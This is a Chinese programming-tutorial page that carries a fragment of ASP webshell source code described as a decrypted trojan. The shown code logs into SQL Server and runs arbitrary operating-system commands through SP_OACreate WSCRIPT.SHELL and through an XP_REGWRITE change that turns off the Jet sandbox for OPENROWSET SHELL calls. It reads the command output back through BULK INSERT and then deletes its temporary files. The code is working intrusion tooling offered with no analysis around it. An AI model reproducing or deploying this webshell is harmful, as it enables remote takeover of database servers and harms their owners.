当前位置: 网学 > 编程文档 > ASP > 正文

asp木马代码解密的随机加密webshell

来源:Http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/06/16
") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
STRQUERY = "Create TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACreate ''WSCRIPT.SHELL'',@O OUT EXEC SP_OAMETHOD @O,''RUN'',NULL,''CMD /C "&REQUEST("CMD")&" > 8617.TMP'',0,TRUE;BULK Insert [JNC] FROM ''8617.TMP'' WITH (KEEPNULLS);"
ADOCONN.EXECUTE(STRQUERY)
STRQUERY = "Select * FROM JNC"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "Drop TABLE [JNC];DECLARE @O INT EXEC SP_OACreate ''WSCRIPT.SHELL'',@O OUT EXEC SP_OAMETHOD @O,''RUN'',NULL,''CMD /C DEL 8617.TMP''"
ADOCONN.EXECUTE(STRQUERY)
END IF

ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN
IF SESSION("SYSTEM")="2000" THEN
PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB"
ELSE
PATH="C:\WINDOWS\SYSTEM32\IAS\IAS.MDB"
END IF
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
CMD=CHR(34)&"CMD.EXE /C "&REQUEST.FORM("CMD")&" > 8617.TMP"&CHR(34)
STRQUERY = "Create TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);EXEC MASTER..XP_REGWRITE ''HKEY_LOCAL_MACHINE'',''SOFTWARE\MICROSOFT\JET\4.0\ENGINES'',''SANDBOXMODE'',''REG_DWORD'',0;Select * FROM OPENROWSET(''MICROSOFT.JET.OLEDB.4.0'','';DATABASE=" & PATH &"'',''Select SHELL("&CMD&")'');"
ADOCONN.EXECUTE(STRQUERY)
STRQUERY = "Select * FROM OPENROWSET(''MICROSOFT.JET.OLEDB.4.0'','';DATABASE=" & PATH &"'',''Select SHELL("&CHR(34)&"CMD.EXE /C COPY 8617.TMP JNC.TMP"&CHR(34)&")'');BULK Insert [JNC] FROM ''JNC.TMP'' WITH (KEEPNULLS);"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
STRQUERY="Select * FROM [JNC];"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
STRQUERY = "Drop TABLE [JNC];EXEC MASTER..XP_REGWRITE ''HKEY_LOCAL_MACHINE'',''SOFTWARE\MICROSOFT\JET\4.0\ENGINES'',''SANDBOXMODE'',''REG_DWORD'',1;Select * FROM OPENROWSET(''MICROSOFT.JET.OLEDB.4.0'','';DATABASE=" & PATH &"'',''Select SHELL("&CHR(34)&"CMD.EXE /C DEL 8617.TMP&&DEL JNC.TMP"&CHR(34)&")'');"
ADOCONN.EXECUTE(STRQUERY)
END IF

ELSEIF REQUEST("TOOL")="SQLSERVERAGENT" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT")

网学推荐

免费论文

原创论文

浏览:
设为首页 | 加入收藏 | 论文首页 | 论文专题 | 设计下载 | 网学软件 | 论文模板 | 论文资源 | 程序设计 | 关于网学 | 站内搜索 | 网学留言 | 友情链接 | 资料中心
版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
Copyright 2008-2015 myeducs.Cn www.myeducs.Cn All Rights Reserved
湘ICP备09003080号